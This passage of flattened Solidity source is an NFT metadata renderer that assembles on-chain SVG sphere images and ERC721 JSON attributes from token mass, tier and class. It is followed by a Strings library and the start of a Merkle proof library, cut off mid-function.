USm5fosFZ86Je3D6mOErHwK1TbI6OM8PjzyCcOriVukAQVFcfSgcrTKBY6oHDdXz+G4ZTUV6qHzguALHs+RhM8RsaLBdh/BMtvNhlQW2bWq3snBX6K8WR6XVxxkcUoJCc+IpvC3FnvSeUTUH54A//ScFr2ChzB79lLp7pVwKIH+kMTS5hNztBNrlVd5H3u2ImTdwEK6qO80NyewX676UdvrH0Un6zRzXNWjmSh9TRIj01O2XdL7v8XmRCC95sE80HOsVLVWg7s0bblF5oCqE0ge1dphnGZcAHEoO0GRmx9teii2JfUytOVVYqefsSFlmm9xKJ5TOXe5nY8RZ7KChCgMhhkZQlZoV+8zVJ4oEvrklJiL9NQiQcbxd8pxDu27AyacsZmelxT50O6A1Zgkq4sRln2O+1RcvBF4vkbfLxhIXWT+9ByuPoVARfXBFcJ1ijzSXIUMEvmrWIU3SFR8J6sKryrk0dscaj9lkFDVzdO3Dq2mrRJvOlWeEhvomtlmsKdX98XEMVHXI36VaLE6xir2/4RtxJ20XQOkclqmWqGr6fODEsMr2aQhy2Iaw836XppCKSlUnaGSMXDxSGTrHyEWfLPYIYMm5ilHmutrsgqTVa/9hyRvxWUZnCxZShy6HHo0SN3mJr6tu5jPc7FJPNmxb2uO6z27PfkYe//jsSRLfRT6Bum6fhSBORPxcyW8JOU7Zz8Om5D9+w7e803slB692OcoKAYnB2jyJieUJ33zuXRhAGbhmlRV9bAnS4MvbkuIg4lC5dxT4i7Abz85IOOelg8xmH8m83aWz2izcqP2VX+LvxkfV2fLI7JK668Ipi4lWz///mhTdIkWf/EuihNVr1jPQu+xeg7vm3RW8CzM+7DpyziC8iK3gsF1F4qzGHz9UvmZub1jAdtBZBZDzMQPVaUM1OJPSax7L3WZty5WGS/lEhDJo0E6uzSOaEplaN539je0jUbHmIlxSDcWr/gk9ZzbkCLf/tPEWyekbB77xV+SikkkwMGlTN2rUHXj/HGLtLozoMcFYjK09rWEnOsqn3ecvi43DZwizWtWud5dypplIVJPesuyw+7QjTJfM9J148Orvv+V161phixW5xOB0BGw0CLHK6rgI/NUkXhkeL8y6fZJ2YN33gekFVph4bjmVYvSIZZjPxnBL5Brok6KTWNJikeWl0QSBH0cIrdVSjkXNq2Vi7EzcMwclDlPq0GzcNcKq3WT2fcQYmxjrlXWksX87kesQr9PSLYESM91ZY1BG/ILtbLH66G+CncwdwF+h3gmIh6qYBwbvjBRPFGi5jDczpuZkk2YraXE5x+1dQFasUXw+f/g1tO+YvzXlhDnvszqgBd1uxd9ShFTuQVLcGU6+xdrt5neDjlNMurqIGQtcfnVJa3lwjSeq+16XEiDqzO2WlqBTZDEi7RgTmyswFRNKtZpqItpVrf/7Qnf+6XB05Jklzwc5a2tNSw40urjGHx2OSkaUcqQ4rOoB5EVdpRKxUmExiQQob1Q44kme5wBaLI8PmYRRMU83q7bFS5/Y2/rd2RlK7f53DFjSMDXcyvLf6V/5IZXWgGOKA+KPSe3QhTqGsi0W45MxpnP38KE0luVTnGHsNoZKxj5B7HgsstK9zfVpm1HXCtCRno7hqKswXdeqauptR4Xc8kuRsqa9Z+ENyGPBWrPBkbV0L+sYkdp5F+dG5Q40yimwchqxsxdz1uVwWlSC15/y2RwvbVTtGLEZVm+Riy5K6pi91Y44ucwii2wTtrANZyjmOtMN9e6h3vtEHTrsqhIIXMC/KPurxs+9+ZOM0DsFN2jEBPYgNQx6ufFXF06KOBxrf0zEfDX/S1GZYt89B6weSg7W5thuStcXLFTlCIZ6F6YtDIX96/fi0ucCzUWPYA8e7XX/iCTzZrl7vYr5DOwCOnT0Dw7Tyx8cvYoyWeBMWMZs6qHBZXTvqpkSTGf0Aktk66Rk8+qMi3xz/5hi+P1vuTYilgmcf1A/fXT8I6M6XKzKoqWeDI8BkGHtPIYJbE0AL/YZC/VDck4vu6CUWKtkkfZ4Ikwz+TXxP9NsxmXEHF2u89J23aDF9ZntLN2vzQpF++Nu2fPXZUpy7JfVCWolgaSMxMpVU+ktK7UqfWHe10zUjXECwIFhJFcm+LIibvDN3lb/EBLxaRWmcTuEb18FXDiN3555CmADqJIiOH/wBDXUpTTRIztJoLcbwEz/+vH6l/ZwmCvoVdLFFUBxNEl2A/xE9Yhn8muhRx3o+z9xl9wvfSGgWBfVI7W7j97cl+PpgRZ4Hce6FxcgurdAIpYMZPeqvWAvmmT/19RPUggnTJ0SEiNetQxjVI5ibO3CgNpl3S3MzfS7sXjUokFleeXxfx7phcrUcPzQVmyJ3u+vFCaONW/9MTwfCoz+FUyLl99esmuA1GYHEjL25LDDZlOA9oQQ3/vexF73xSJmKo/gvyYot05z9MAwlhDEnWio5W5wJPzwBQ3AylRnyXNHos3IhWudA35+k9PceLHCrSQzcwkokXV9/vgl6QIzaXe5CNMHSROFvPVxeRBATaCOAVvisFLahnf+SmXXUdJjbvo5O6K7j7uD7bsNNvZ9mtuQEIeOIt21mbcKqFqcHnic50hSh7cUKFCIhFa65jk6Vu4CEFPOcnF0NhUoLbr/osonmcJ597mOq5VtM+4qV1eI4VpzMw93N7JVpD6sn4rES1Q11xqnCE888aFQoP1OzX+PruimGICzuzNFMtIp0nEll3J6FB/CGDnujAmEM6qDreItB+niti9cyu/xd+3DSVcqbsd4zdidvh/FtL2iqp0xnfZ4+XVdHPsVAMithKNyj8lrzltYpSCJjPvkzMtm4QmPYdCmryxmfz9FL6Rx/O9YAphi3ypshBXDdFERFMPuSupjvwDY2Qr7NRQPVVoyt3xfWVcOtdEkqosMi05QVWFCms42eypUpdF8lI4Iwt51YKeg4jdJEWKFphZTZubOe5hpOimLH+7f1N2UcWJd6IS+orE2J4KNbKTwH74+SbdPRGiVZnkBgeR6Nlw4yE30DmQOx6G6+RBs2T1NU1mF7NfTEISpM59Lnv5M8FrHfcd1xYLpG13Sx6i693U5veyMM+VL5R3l6Fz387GfKnZpwWV3ryAoROOJK5FrznHKhM9KfdfJtYLZl/E7v2zZvInjIJAsPZiNvcjV0nQ6bVIF5sovSWJD9XFzw2xqG48kv8qLI8sh40oiKFzs5kzJVKk8oxG/ve/nu1Xm9oCK1AuUtDruwR1y3AvHi6Bj5Wu918vz3OMz9gbT32+qM/8mnDimINbWu2/Ry3nsYoyntwWNnsLimZvx1uHcamanFTI+5ynwpwUywr88ZiJ17RnjF/dmO/blkxUNNNxvJS/dk9GFASgU0wSi/IqHWWQipK7CEGJPyPz4IxywEeGZjxgmkR4znn2pVG/PjUYtqxoTH1kZedh2USTsKK9YCQ/yuGPS3zPVGSLgFOFijF823ZsBiV/bV0INosiiuZ6y+YDUEq0QkiikcTfgoh2wO+NRZzrdXrNvGzhPLpA7xzeVP5Nio5oO+xZsltr+uX8NshKEbMkY6OeKG8/hKHIspmGuke7pqZSD1ZuCqn+EXQnrrSilnqTz2kteZQ8K35z0m2+nSdmf9w60pHvoKLZvwz07MVDLwxLN8rdbjAMw+6jLUA+tCKzceIuZ/gUAvf9iBubI6eAWv1zdacJI24HW+B40VZ0gQMRy4nztBGVa3x/0S9B5wr3pL9KOs0yZGPA+f++PPQ6H1H2VT37toGaPL6hK+tAXRndpFK6e8jhVJV/ZZsVH6tGrotBthqE5pz3RsM/6zo0aIVu7Er5YMfT4y6xC59nemDft9eW+9Xpd648Odf8pslVGU+ptf3GUP7DzTJOu+AwlhhqIZ6kZP9VS8LIXYj10GwuUhp7v58NIT4Nr982dWD+srBFf8ymVd/rmJ1klRb+9jiOVTMr22a3E7nF0oS+6rlDMFOh6p6ZFrLyViP2hPdbQ6V3P6rP1LqhIHUrDZK/vLJ/GVrdO6N+5PoMyQ/G3my7qID0JAbOMFWcRmeq2xXu+ezlKHeaEdp9kD2116sruYRHI06+Up4Yw+Y1t2URbJ1Nn4fT4AlBNaryyCfiANqbc3UYsfc5opQb6d2ySE2q+3EjZT/3cGKSySsiWTqN6P/bubeStIMDJF/zps/I+Cdby21PXWmncgw6Kz3nujpFN0KwqxlO/vYJ3Y+JXQAXQsE2iGibz+eSZ7olt6taOC5qwI2X595Y+lySwrLBtdK//yCZE90UmcF7CCq84e5ohyH7MUJVsNnNQsWSmWEc9Qic8hyS0drk/u3qFJ/l8l6VYCh4qfD6qwzGElMnOHcNZDSBMuA2xv3QPTZX+QOmo7WE+UBCFfC+RcUGn9s+QycuY3Oc+rZL5zDPhikx23X8WYCMRlq1ajrkpwL3bQuRrB+DuHA7ELSzYHuTKZOHfAmCi1+yXOo8XIob9BL3g7O2mKDf7Cf+tBVdOb5harGgzixCSmkqmGQQdWEz1o0CaJXrulB24mD8e/waqDltszY5UDuyhF5FMMFLbmyaDdcn1p75w9B/SWffn/IWDFxam+ddf1XTXdePoi2ha1be+0w6Y2JBMSqVx+v7dnXm+qOLtQ47O9FF2yEXF0DdzYVtylan7WLL80w3jJzk7c3tHdESZik6a+8Nj6xhn/6kFHcdHWdCdwucEA2suXq7sT243Z73kD2IUleqBLZF7lVSmeJ3rbGOMQCUUgLQa6Ly02rPA3ZCaedt3quAXkJ0me+yzG5AAWMnxYDo2scI9hKPn02XK1zcXI6csw/0bQR+p++qw6VEr/shr2ywSkfzO2wZpzQSa9p0rRSDgYoP3RX9+GdC/qk5mdnbp8rzvhKviuWWUfxGta9g/GUcM/vGMvmXpmwlPKo+FzNfjHmRG6tgUosdJmPZuLVy7mmglOhloFgXwbxzTaYRvu8qm/8pFB6d2UI9Y6w3jBWW4ik1D0aVbedMXPrHdAFOuIXg4sOqQywMn/EkuWR+QypaXdTTt7DKnpqmaGxqyy/8VPTM9rketfgY21U/co8+xoNbPjCxvn09o51MpPwkkF1rhjvbrJvsSmaZg3goistCS4p6SA1t05A/dtLyqEdLLqawX5/3rlcmXhsDmf8wVzYqlOWoPGn6HbwPCk3VE1uTznJcYop58T7tT07n7gC+ja0K+Yl6v5VKgRxy48+qWapSwcZ9BRYhXthsM85pq45PU0BGrYx5nMD/GL6uqbbYldge8yav53z4zOt70VL/ah2+H35/Rr2TIROZMKY07jNvrU35qRJYMWmpWzgOg/ACXSjFD5Cp8c9sfrgdxTQqjY9UM33TLUKUfDBN0CYDcSYgptdfAr3z2L+Jue55FOSP+gujjjbHappfeUjXgJUBzpps2JAb3zQdkG4DfVf5wK+zZhs6WPMGh7tqo7IijQ2DWd9epcyacgF8HZAUL1ym95CyP2ebSXiOx25Gch219SoFqA6ZWzMzhzhVtsryBeb2fYKMcL01OqNci+zuiJYVQo46scXSW5fm3vHHop6POEwnyeossU4JuEeUvyrBZufENeCh6Hp9WW1jwkbf/ehwOwsgTRYizYs4V/mw2FOJ9euf74ZMNRxM/pvpxr/Yw09RnEVvw4vNcS18F8YzDomrOr92RV7/zcnyUacM+NnR3gzIE51X63gV1hi4a/M0svV5nq6ds1HZz2+Gbkm3suYCKQE8Ou0DX1EDBWryVqh1VAfUBrudntOVYhR0mtX64AHNFqxychaPt3T2rRWrXHSzmljf/7GhqH6CnpJTvnO8l2Wo6n7y3HrDP81sgEKHMheIWTs/f5qG29o6je9G9gcK5Qdl1kxO9eTVPoFcz+NIhaPTQV9yqsB/mp5oEAWcz1GXZVDk3xvJ39QXtQl9kTTL6xnIlRLb/Y/2T6+ngm39LsDsPkHjoFFeXZvgKWTWtm4KtLlb8gdhzq9zNVX97MOaq+IfvxkFG6JQmFjR1n+MWf4lO1fu1C+Bz69odal8PpANH0VD1Sz8vCRbPWFTPvWB9vwsHk7RuXxw55F/7G9O2/ixO+fZsubB/SMnU75qg9cl+6ujfriPuOKKVuzt62QHk+kYm17XQH1BCVxdrLaxtGetLqEs4Hf3R3tFskD2NPm64J8+ubcaDGk8qj/leDnw13ZfnupaWTrUkBkIfuGaLwVVb/vuIyvch/z1uJnhft+UkZcmwR4Tn7rMguidWiZ15nOftSIDuaxBPvDjAnWI6S4EYDEXs8ZatDKZbGZbgu8mmXGP+2WtnIIH/1zzNegGXqFKLve3TN99ub4zwNcU80KIBIG8lFbygeaEOSSwFCi4oFzcy0B3iUGM0vFyJqls6L8m3sT+g46cMA11dTlIPOfyp/klka7c1wG3mDw6ScZ6vZsb5yETQ3OJolnviE1up8/m82PeZPwt6Zrs1gUNI8m9Q6XUk+x37KDO/JyXMT1a7uvJmGq4MCWLbFXJ/eX+YX1k/HM+KnnJ3smUSsCp4tfyXt/9ZRuhsDbffeyi0oUxtTIYN/ky9g6pOTCVmapBN8kstofiz5wl/RkJ5gauvAgh3NvLjldN6pVR7JIt5sUelDH+boy+DAC5jBeGgfWHs7Plre5ID72kzqF0tyV/8FTGRsxvMxnFxoeYXa4yO0pfDmUFPZcSJoBE/48j1EjDnyIB9SXPpbPed6RD6ZPmVnFC1wLKMYErkt3pxkLZ+rme7KRw48aBB50ZzGm80zEU3o9nsSoNnjZsF6Rnmkpcejc175CIZTodA/cWEvfa6MWUHnLM2ErpQ3SB3HTqz1v93jAtZZ5bOVZdCqo1pcsLCBgpNCCNMxP3Ss/qWivbU2GwY4Fcml432AOV+QdO72Cjz1CiRpx6+w4+7kULS+GtWOx8TFEWydgapK4synoTMdPDohuf86Qq9vzgenN8DiP+t4D+Qr4zUY4pLO2Paf+xVcaY3Z7Ia/7n7QzdtoWfrIi3VHW6+G8/oiRG2lsIfDLixcn+Jrmqr2mLoTsfsOX+IFfU49xezq8hRc65/nCf2/PmSytO+pkeDdB2XLw24ex+G06AcfQzn4L15N8ZNHLV4jasL44Sp9uffwGTQxYY4JEB7AAAAABJRU5ErkJggg=='/>"); _imageParts.push("</defs></svg></g></g>"); _imageParts.push("<defs></defs>"); _imageParts.push("</svg>"); string memory defaultSphere = "<circle cx='400' cy='400' r='400' fill='url(#pt0)'/> <g> <mask id='m0' style='mask-type:alpha' maskUnits='userSpaceOnUse' x='0' y='0' width='800' height='800'> <circle cx='400' cy='400' r='400' fill='url(#pt1)'/> </mask> <g mask='url(#m0)'> <rect x='-695.895' y='-297.542' width='1819.48' height='1854.64' transform='rotate(-13.0766 -695.895 -297.542)' fill='url(#p0)'/> </g> </g> <g style='mix-blend-mode:screen'> <circle cx='400' cy='400' r='400' fill='url(#pt2)'/> </g> <g style='mix-blend-mode:screen'> <circle cx='400' cy='400' r='400' fill='url(#pt3)'/> </g>"; string memory alphaSphere = "<circle cx='400' cy='400' r='400' fill='url(#pt0)'/> <g style='mix-blend-mode:screen'> <circle cx='400' cy='400' r='400' fill='url(#pt1)'/> </g> <g opacity='0.2'> <mask id='m0' style='mask-type:alpha' maskUnits='userSpaceOnUse' x='0' y='0' width='800' height='800'> <circle cx='400' cy='400' r='400' fill='url(#pt2)'/> </mask> <g mask='url(#m0)'> <rect x='-695.895' y='-297.543' width='1819.48' height='1854.64' transform='rotate(-13.0766 -695.895 -297.543)' fill='url(#pattern0)'/> </g> </g>"; _spheres["a"] = alphaSphere; _spheres["1"] = defaultSphere; _spheres["2"] = defaultSphere; _spheres["3"] = defaultSphere; _spheres["4"] = defaultSphere; string memory defaultSphereDef = "<pattern id='p0' patternContentUnits='objectBoundingBox' width='0.0325926' height='0.0325926'> <use xlink:href='#i0' transform='scale(0.0004)'/> </pattern> <radialGradient id='pt0' cx='0' cy='0' r='1' gradientUnits='userSpaceOnUse' gradientTransform='translate(555.396 214.388) rotate(133.821) scale(691.992)'> <stop stop-color='#E1E1E1'/> <stop offset='1'/> </radialGradient> <radialGradient id='pt1' cx='0' cy='0' r='1' gradientUnits='userSpaceOnUse' gradientTransform='translate(555.396 214.388) rotate(133.821) scale(691.992)'> <stop stop-color='#C4C4C4'/> <stop offset='1'/> </radialGradient> <radialGradient id='pt2' cx='0' cy='0' r='1' gradientUnits='userSpaceOnUse' gradientTransform='translate(555.396 214.388) rotate(133.821) scale(691.992)'> <stop stop-color='white'/> <stop offset='0.404291' stop-color='#A2A2A2'/> <stop offset='1'/> </radialGradient> <radialGradient id='pt3' cx='0' cy='0' r='1' gradientUnits='userSpaceOnUse' gradientTransform='translate(555.396 214.388) rotate(133.821) scale(691.992)'> <stop stop-color='#F4F4F4'/> <stop offset='1'/> </radialGradient>"; string memory alphaSphereDef = "<pattern id='p0' patternContentUnits='objectBoundingBox' width='0.0325926' height='0.0325926'> <use xlink:href='#i0' transform='scale(0.0004)'/> </pattern> <radialGradient id='pt0' cx='0' cy='0' r='1' gradientUnits='userSpaceOnUse' gradientTransform='translate(555.396 214.388) rotate(133.821) scale(691.992)'> <stop stop-color='#C4C4C4'/> <stop offset='0.197917'/> </radialGradient> <radialGradient id='pt1' cx='0' cy='0' r='1' gradientUnits='userSpaceOnUse' gradientTransform='translate(555.396 214.388) rotate(133.821) scale(691.992)'> <stop offset='0.203125' stop-color='#C4C4C4' stop-opacity='0.9'/> <stop offset='0.723958'/> </radialGradient> <radialGradient id='pt2' cx='0' cy='0' r='1' gradientUnits='userSpaceOnUse' gradientTransform='translate(555.396 214.388) rotate(133.821) scale(691.992)'> <stop stop-color='#C4C4C4'/> <stop offset='1'/> </radialGradient>"; string memory yellowSphereDef = "<pattern id='p0' patternContentUnits='objectBoundingBox' width='0.0325926' height='0.0325926'> <use xlink:href='#i0' transform='scale(0.0004)' opacity='0.25'/> </pattern> <radialGradient id='pt0' cx='0' cy='0' r='1' gradientUnits='userSpaceOnUse' gradientTransform='translate(555.396 214.388) rotate(133.821) scale(691.992)'> <stop stop-color='#C4C4C4'/> <stop offset='0.197917' stop-color='#FFCC33'/> </radialGradient> <radialGradient id='pt1' cx='0' cy='0' r='1' gradientUnits='userSpaceOnUse' gradientTransform='translate(555.396 214.388) rotate(133.821) scale(691.992)'> <stop stop-color='#C4C4C4'/> <stop offset='1' stop-color='#FFCC33'/> </radialGradient> <radialGradient id='pt2' cx='0' cy='0' r='1' gradientUnits='userSpaceOnUse' gradientTransform='translate(555.396 214.388) rotate(133.821) scale(691.992)'> <stop stop-color='#C4C4C4'/> <stop offset='1'/> </radialGradient>"; _sphereDefs["a"] = alphaSphereDef; _sphereDefs["1"] = defaultSphereDef; _sphereDefs["2"] = yellowSphereDef; _sphereDefs["3"] = defaultSphereDef; _sphereDefs["4"] = defaultSphereDef; } function setName(string calldata name_) external { _requireOnlyOwner(); _name = name_; } function setImageBaseURI(string calldata imageBaseURI_, string calldata imageExtension_) external { _requireOnlyOwner(); _imageBaseURI = imageBaseURI_; _imageExtension = imageExtension_; } function setMaxRadius(uint256 maxRadius_) external { _requireOnlyOwner(); _maxRadius = maxRadius_; } function tokenMetadata(uint256 tokenId, uint256 rarity, uint256 tokenMass, uint256 alphaMass, bool isAlpha, uint256 mergeCount) external view override returns (string memory) { string memory base64Json = Base64.encode(bytes(string(abi.encodePacked(_getJson(tokenId, rarity, tokenMass, alphaMass, isAlpha, mergeCount))))); return string(abi.encodePacked('data:application/json;base64,', base64Json)); } function updateImageParts(string[] memory imageParts_) public { _requireOnlyOwner(); _imageParts = imageParts_; } function pushToImageParts(string[] memory imageParts_) public { _requireOnlyOwner(); for (uint i = 0; i < imageParts_.length; i++) { _imageParts.push(imageParts_[i]); } } function updateClassStyle(string calldata cssClass, string calldata cssStyle) external { _requireOnlyOwner(); _classStyles[cssClass] = cssStyle; } function getClassStyle(string memory cssClass) public view returns (string memory) { return _classStyles[cssClass]; } function updateSphere(string calldata cssClass, string calldata cssStyle) external { _requireOnlyOwner(); _spheres[cssClass] = cssStyle; } function getSphere(string memory cssClass) public view returns (string memory) { return _spheres[cssClass]; } function updateSphereDef(string calldata cssClass, string calldata cssStyle) external { _requireOnlyOwner(); _sphereDefs[cssClass] = cssStyle; } function getSphereDef(string memory cssClass) public view returns (string memory) { return _sphereDefs[cssClass]; } function name() public view returns (string memory) { return _name; } function imageBaseURI() public view returns (string memory) { return _imageBaseURI; } function imageExtension() public view returns (string memory) { return _imageExtension; } function maxRadius() public view returns (uint256) { return _maxRadius; } function getClassString(uint256 tokenId, uint256 rarity, bool isAlpha, bool offchainImage) public pure returns (string memory) { return _getClassString(tokenId, rarity, isAlpha, offchainImage); } function _getJson(uint256 tokenId, uint256 rarity, uint256 tokenMass, uint256 alphaMass, bool isAlpha, uint256 mergeCount) private view returns (string memory) { string memory imageData = bytes(_imageBaseURI).length == 0 ? _getSvg(tokenId, rarity, tokenMass, alphaMass, isAlpha) : string(abi.encodePacked(imageBaseURI(), _getClassString(tokenId, rarity, isAlpha, true), "_", uint256(int256(_getScaledRadius(tokenMass, alphaMass, _maxRadius).toInt())).toString(), imageExtension())); ERC721MetadataStructure memory metadata = ERC721MetadataStructure({ isImageLinked: bytes(_imageBaseURI).length > 0, name: string(abi.encodePacked(name(), "(", tokenMass.toString(), ") #", tokenId.toString())), description: tokenMass.toString(), createdBy: "Non", image: imageData, attributes: _getJsonAttributes(tokenId, rarity, tokenMass, mergeCount, isAlpha) }); return _generateERC721Metadata(metadata); } function _getJsonAttributes(uint256 tokenId, uint256 rarity, uint256 tokenMass, uint256 mergeCount, bool isAlpha) private pure returns (ERC721MetadataAttribute[] memory) { uint256 tensDigit = tokenId % 100 / 10; uint256 onesDigit = tokenId % 10; uint256 class = tensDigit * 10 + onesDigit; ERC721MetadataAttribute[] memory metadataAttributes = new ERC721MetadataAttribute[](5); metadataAttributes[0] = _getERC721MetadataAttribute(false, true, false, "", "Mass", tokenMass.toString()); metadataAttributes[1] = _getERC721MetadataAttribute(false, true, false, "", "Alpha", isAlpha ? "1" : "0"); metadataAttributes[2] = _getERC721MetadataAttribute(false, true, false, "", "Tier", rarity.toString()); metadataAttributes[3] = _getERC721MetadataAttribute(false, true, false, "", "Class", class.toString()); metadataAttributes[4] = _getERC721MetadataAttribute(false, true, false, "", "Merges", mergeCount.toString()); return metadataAttributes; } function _getERC721MetadataAttribute(bool includeDisplayType, bool includeTraitType, bool isValueAString, string memory displayType, string memory traitType, string memory value) private pure returns (ERC721MetadataAttribute memory) { ERC721MetadataAttribute memory attribute = ERC721MetadataAttribute({ includeDisplayType: includeDisplayType, includeTraitType: includeTraitType, isValueAString: isValueAString, displayType: displayType, traitType: traitType, value: value }); return attribute; } function _getSvg(uint256 tokenId, uint256 rarity, uint256 tokenMass, uint256 alphaMass, bool isAlpha) private view returns (string memory) { bytes memory byteString; for (uint i = 0; i < _imageParts.length; i++) { if (_checkTag(_imageParts[i], _RADIUS_TAG)) { byteString = abi.encodePacked(byteString, _floatToString(_getScaledRadius(tokenMass, alphaMass, _maxRadius))); } else if (_checkTag(_imageParts[i], _SPHERE_TAG)) { if (isAlpha) { byteString = abi.encodePacked(byteString, _spheres['a']); } else { byteString = abi.encodePacked(byteString, _spheres[rarity.toString()]); } } else if (_checkTag(_imageParts[i], _SPHERE_DEFS_TAG)) { if (isAlpha) { byteString = abi.encodePacked(byteString, _sphereDefs['a']); } else { byteString = abi.encodePacked(byteString, _sphereDefs[rarity.toString()]); } } else if (_checkTag(_imageParts[i], _CLASS_TAG)) { byteString = abi.encodePacked(byteString, _getClassString(tokenId, rarity, isAlpha, false)); } else if (_checkTag(_imageParts[i], _CLASS_STYLE_TAG)) { uint256 tensDigit = tokenId % 100 / 10; uint256 onesDigit = tokenId % 10; uint256 class = tensDigit * 10 + onesDigit; string memory classCss = getClassStyle(_getTokenIdClass(class)); if(bytes(classCss).length > 0) { byteString = abi.encodePacked(byteString, classCss); } } else { byteString = abi.encodePacked(byteString, _imageParts[i]); } } return string(byteString); } function _getScaledRadius(uint256 tokenMass, uint256 alphaMass, uint256 maximumRadius) private pure returns (int128) { int128 radiusMass = _getRadius64x64(tokenMass); int128 radiusAlphaMass = _getRadius64x64(alphaMass); int128 scalePercentage = ABDKMath64x64.div(radiusMass, radiusAlphaMass); int128 scaledRadius = ABDKMath64x64.mul(ABDKMath64x64.fromUInt(maximumRadius), scalePercentage); if(uint256(int256(scaledRadius.toInt())) == 0) { scaledRadius = ABDKMath64x64.fromUInt(1); } return scaledRadius; } // Radius = Cube Root(Mass) * Cube Root (0.23873241463) // Radius = Cube Root(Mass) * 0.62035049089 function _getRadius64x64(uint256 mass) private pure returns (int128) { int128 cubeRootScalar = ABDKMath64x64.divu(62035049089, 100000000000); int128 cubeRootMass = ABDKMath64x64.divu(mass.nthRoot(3, 6, 32), 1000000); int128 radius = ABDKMath64x64.mul(cubeRootMass, cubeRootScalar); return radius; } function _generateERC721Metadata(ERC721MetadataStructure memory metadata) private pure returns (string memory) { bytes memory byteString; byteString = abi.encodePacked( byteString, _openJsonObject()); byteString = abi.encodePacked( byteString, _pushJsonPrimitiveStringAttribute("name", metadata.name, true)); byteString = abi.encodePacked( byteString, _pushJsonPrimitiveStringAttribute("description", metadata.description, true)); byteString = abi.encodePacked( byteString, _pushJsonPrimitiveStringAttribute("created_by", metadata.createdBy, true)); if(metadata.isImageLinked) { byteString = abi.encodePacked( byteString, _pushJsonPrimitiveStringAttribute("image", metadata.image, true)); } else { byteString = abi.encodePacked( byteString, _pushJsonPrimitiveStringAttribute("image_data", metadata.image, true)); } byteString = abi.encodePacked( byteString, _pushJsonComplexAttribute("attributes", _getAttributes(metadata.attributes), false)); byteString = abi.encodePacked( byteString, _closeJsonObject()); return string(byteString); } function _getAttributes(ERC721MetadataAttribute[] memory attributes) private pure returns (string memory) { bytes memory byteString; byteString = abi.encodePacked( byteString, _openJsonArray()); for (uint i = 0; i < attributes.length; i++) { ERC721MetadataAttribute memory attribute = attributes[i]; byteString = abi.encodePacked( byteString, _pushJsonArrayElement(_getAttribute(attribute), i < (attributes.length - 1))); } byteString = abi.encodePacked( byteString, _closeJsonArray()); return string(byteString); } function _getAttribute(ERC721MetadataAttribute memory attribute) private pure returns (string memory) { bytes memory byteString; byteString = abi.encodePacked( byteString, _openJsonObject()); if(attribute.includeDisplayType) { byteString = abi.encodePacked( byteString, _pushJsonPrimitiveStringAttribute("display_type", attribute.displayType, true)); } if(attribute.includeTraitType) { byteString = abi.encodePacked( byteString, _pushJsonPrimitiveStringAttribute("trait_type", attribute.traitType, true)); } if(attribute.isValueAString) { byteString = abi.encodePacked( byteString, _pushJsonPrimitiveStringAttribute("value", attribute.value, false)); } else { byteString = abi.encodePacked( byteString, _pushJsonPrimitiveNonStringAttribute("value", attribute.value, false)); } byteString = abi.encodePacked( byteString, _closeJsonObject()); return string(byteString); } function _getClassString(uint256 tokenId, uint256 rarity, bool isAlpha, bool offchainImage) private pure returns (string memory) { bytes memory byteString; byteString = abi.encodePacked(byteString, _getRarityClass(rarity)); if(isAlpha) { byteString = abi.encodePacked( byteString, string(abi.encodePacked(offchainImage ? "_" : " ", "a"))); } uint256 tensDigit = tokenId % 100 / 10; uint256 onesDigit = tokenId % 10; uint256 class = tensDigit * 10 + onesDigit; byteString = abi.encodePacked( byteString, string(abi.encodePacked(offchainImage ? "_" : " ", _getTokenIdClass(class)))); return string(byteString); } function _getRarityClass(uint256 rarity) private pure returns (string memory) { return string(abi.encodePacked("m", rarity.toString())); } function _getTokenIdClass(uint256 class) private pure returns (string memory) { return string(abi.encodePacked("c", class.toString())); } function _checkTag(string storage a, string memory b) private pure returns (bool) { return (keccak256(abi.encodePacked((a))) == keccak256(abi.encodePacked((b)))); } function _floatToString(int128 value) private pure returns (string memory) { uint256 decimal4 = (value & 0xFFFFFFFFFFFFFFFF).mulu(10000); return string(abi.encodePacked(uint256(int256(value.toInt())).toString(), '.', _decimal4ToString(decimal4))); } function _decimal4ToString(uint256 decimal4) private pure returns (string memory) { bytes memory decimal4Characters = new bytes(4); for (uint i = 0; i < 4; i++) { decimal4Characters[3 - i] = bytes1(uint8(0x30 + decimal4 % 10)); decimal4 /= 10; } return string(abi.encodePacked(decimal4Characters)); } function _requireOnlyOwner() private view { require(msg.sender == owner, "You are not the owner"); } function _openJsonObject() private pure returns (string memory) { return string(abi.encodePacked("{")); } function _closeJsonObject() private pure returns (string memory) { return string(abi.encodePacked("}")); } function _openJsonArray() private pure returns (string memory) { return string(abi.encodePacked("[")); } function _closeJsonArray() private pure returns (string memory) { return string(abi.encodePacked("]")); } function _pushJsonPrimitiveStringAttribute(string memory key, string memory value, bool insertComma) private pure returns (string memory) { return string(abi.encodePacked('"', key, '": "', value, '"', insertComma ? ',' : '')); } function _pushJsonPrimitiveNonStringAttribute(string memory key, string memory value, bool insertComma) private pure returns (string memory) { return string(abi.encodePacked('"', key, '": ', value, insertComma ? ',' : '')); } function _pushJsonComplexAttribute(string memory key, string memory value, bool insertComma) private pure returns (string memory) { return string(abi.encodePacked('"', key, '": ', value, insertComma ? ',' : '')); } function _pushJsonArrayElement(string memory value, bool insertComma) private pure returns (string memory) { return string(abi.encodePacked(value, insertComma ? ',' : '')); } } /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if 